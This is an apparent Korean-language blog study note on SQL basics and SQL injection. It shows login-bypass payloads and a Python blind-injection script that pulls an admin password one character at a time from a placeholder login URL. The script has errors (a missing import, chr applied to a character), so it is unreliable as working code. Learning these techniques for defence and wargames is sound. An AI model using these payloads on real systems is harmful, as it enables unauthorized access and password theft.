-
SQL INJECTION(1)해킹/웹해킹 2023. 4. 3. 14:53
DBMS의 종류
관계형 vs 비관계형?
- 관계형 데이터베이스는 테이블 형식(행과 열의 집합)으로 데이터를 저장하고, 비관계형 데이터베이스는 키-값(key-value) 형태로 값을 저장한다.
관계형 데이터베이스
- 테이블의 정보를 사용할 때는 학번(여기서는 학생들의 고유 키)를 참조하여 사용한다.
- 기본 구조 : 데이터베이스
SQL?
- 관계형 데이터베이스의 데이터를 쿼리를 통해 조작하기, 정의하기, 접근하기를 위한 언어
DDL
- CREATE : 새로운 데이터베이스나 테이블 생성
데이터베이스 CREATE
CREATE DATABASE Dreamhack;
테이블 CREATE
#Dreamhack 데이터베이스를 사용함 : USE 데이터베이스 이름 USE Dreamhack; #Board 이름의 테이블을 생성함 : CREATE TABLE 테이블이름() CREATE TABLE Board ( idx INT AUTO_INCREMENT, boardTitle VARCHAR(100) NOT NULL, boardContent VARCHAR(2000) NOT NULL, PRIMARY KEY(idx) );
DML
- INSERT : 새로운 데이터를 테이블에 삽입함
USE Dreamhack; INSERT INTO Board(boardTitle, boardContent, createdDate) #INSERT INTO 테이블이름(테이블클 칼럼명) VALUES() Values( 'Hello', 'World !', Now() );
- SELECT FROM Where : 테이블의 데이터를 조회함
#SELECT 열 이름들 FROM 테이블 이름 WHERE 조건식(idx=1 boardTitle='hello' 등등) SELECT boardTitle, boardContent FROM Board Where idx=1;
- UPDATE SET Where : 테이블의 칼럼값을 변경함
UPDATE Board SET boardContent='DreamHack!' Where idx=1;
SQL Injection
SELECT 칼럼 FROM 테이블 이름 WHERE 조건 : 조회 명령어
* : 테이블의 모든 칼럼들을 조회한다.
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
- FROM accounts : accounts 테이블에서 조회할 것이라고 지정한다.
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
SQL Injection 쿼리
SELECT * FROM accounts WHERE user_id='admin'
id = 'admin' 관리자 권한의 것에 대한 쿼리질의를 하게 된다.
- DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
ui = 'admin' or '1에 대한 쿼리문
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
- 첫 번째 조건은 uid가 “admin”인 데이터를 가져온다.
- 두번째 조건('1 and upw=' ')은 이 식이 무조건 참이다.
- and로 묶인 것은 upw가 없는 경우
- 첫 번째는 admin의 결과를 반환하고 두 번째 조건은 아무런 결과도 반환하지 않는다.
= uid가 admin인 데이터를 반환하기 때문에 관리자의 결과를 반환하게 됨 - , 주석( --, #, /**/ )을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
Blind Injection
- 스무고개 게임
ascii 함수
- 전달된 문자를 아스키 형태로 반환하는 함수
- 예를 들어, ascii('a')를 실행하면 'a' 문자의 아스키 값인 97을 반환해준다.
작성한 부분이 날아가서....이 부분은 나중에 채워넣도록 하겠다.
스크립트 작성 과정
1. 아스키 범위 지정
- 비밀번호의 경우 알파벳과 숫자, 특수문자로 이루어지는데 이 범위는 32~126까지의 아스키 범위를 포함한다.
2. 비밀번호에 포함될 수 있는 모든 문자를 string 모듈로 생성함
3. 한 바이트씩 모든 문자를 비교하는 반복문 작성
4. 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 Login success 문자열을 찾고, 해당 결과를 반환한 문자를 password에 저장함
import string url = 'http://example.com/login' # example URL(타깃페이지 url) params = { #params는 uid, upw이 들어감 'uid': '', 'upw': '' } tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~가져옴 # 암호를 추측할 수 있는 모든 ASCII 문자, 숫자 및 구두점이 포함 query = ''' # 블라인드 SQL 인젝션 기술을 사용하여 암호를 한 문자씩 추출하려는 SQL 쿼리를 정의 admin' and ascii(substr(upw,{idx},1))={val}-- #substr 함수를 사용하여 upw 필드에서 하나의 문자를 추출하고 idx 매개변수를 사용하여 문자의 위치를 지정하고 val 매개변수를 사용하여 값을 추측 ''' #idx : 문자의 위치를 지정 #upw : 필드에서 하나의 문자를 추출 #val : 매개변수를 사용하여 값을 추측 #1 : 무조건 참 password = '' for idx in range(0, 20): for ch in tc: params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n") # format 메서드를 사용하여 해당 SQL 인젝션 쿼리가 포함된 params 사전의 uid 매개변수가 업데이트됩 c = requests.get(url, params=params) print(c.request.url) if c.text.find("Login success") != -1: password += chr(ch) break print(f"Password is {password}")
https://www.w3schools.com/sql/sql_union.asp
SQL UNION Operator
W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.
www.w3schools.com
를 참고하였음
'해킹 > 웹해킹' 카테고리의 다른 글
웹 해킹(5) - CSRF (0) 2023.03.31 웹 해킹(4) - XSS (0) 2023.03.31 드림핵 워게임(1) - cookie (0) 2023.03.30 웹해킹 기초(3) - 쿠키&세션 (0) 2023.03.30 웹 해킹(2) - 개발자 도구 사용하기 (0) 2023.03.29